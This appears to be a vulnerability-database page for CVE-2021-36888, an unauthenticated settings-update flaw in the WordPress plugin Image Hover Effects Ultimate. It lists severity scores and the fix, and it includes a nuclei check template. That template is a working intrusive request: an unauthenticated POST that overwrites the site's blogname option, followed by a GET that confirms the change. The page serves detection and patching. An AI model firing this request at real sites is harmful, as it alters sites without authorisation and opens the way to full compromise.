Browse / CVEs / CVE-2021-36888
CVE-2021-36888· CWE-284
WordPress Image Hover Ultimate - Unauthenticated Settings Update
criticalseverity
9.8CVSS score
6.5%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it
Unauthenticated Arbitrary Options Update vulnerability leading to full website compromise discovered in Image Hover Effects Ultimate (versions <= 9.6.1) WordPress plugin.
Impact
Attackers can fully compromise the website, leading to complete control and potential data theft or defacement.
Fix
Update to the latest version of the plugin, newer than 9.6.1.
How to confirm it
Send: POST /wp-json/ImageHoverUltimate/v1/oxi_settings
Positive when: status_code == 200 and contains(body, "oxi-confirmation-success")
Send: GET /
Positive when: status_code == 200 and contains_all(body, rand)Run it with nuclei: nuclei -id CVE-2021-36888 -u <target>
The full check
id: CVE-2021-36888
info:
name: WordPress Image Hover Ultimate - Unauthenticated Settings Update
author: riteshs4hu
severity: critical
description: |
Unauthenticated Arbitrary Options Update vulnerability leading to full website compromise discovered in Image Hover Effects Ultimate (versions <= 9.6.1) WordPress plugin.
impact: |
Attackers can fully compromise the website, leading to complete control and potential data theft or defacement.
remediation: |
Update to the latest version of the plugin, newer than 9.6.1.
reference:
- https://wpscan.com/vulnerability/75da4102-7063-407f-975e-28be6ed33aac/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36888
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-36888
epss-score: 0.06532
epss-percentile: 0.93846
cwe-id: CWE-284
cpe: cpe:2.3:a:blocksera:image_hover_effects:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
tags: cve,cve2021,wpscan,wp-plugin,wordpress,imagehover,intrusive,unauth,vkev,vuln
variables:
rand: "{{randstr}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-json/ImageHoverUltimate/v1/oxi_settings HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
rawdata=%7B%22name%22%3A%22blogname%22%2C%22value%22%3A%22{{rand}}%22%7D
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "oxi-confirmation-success")'
condition: and
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains_all(body, rand)"
condition: andReferences
- https://wpscan.com/vulnerability/75da4102-7063-407f-975e-28be6ed33aac/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36888
Use this check only on systems you are authorised to test. Where the data comes from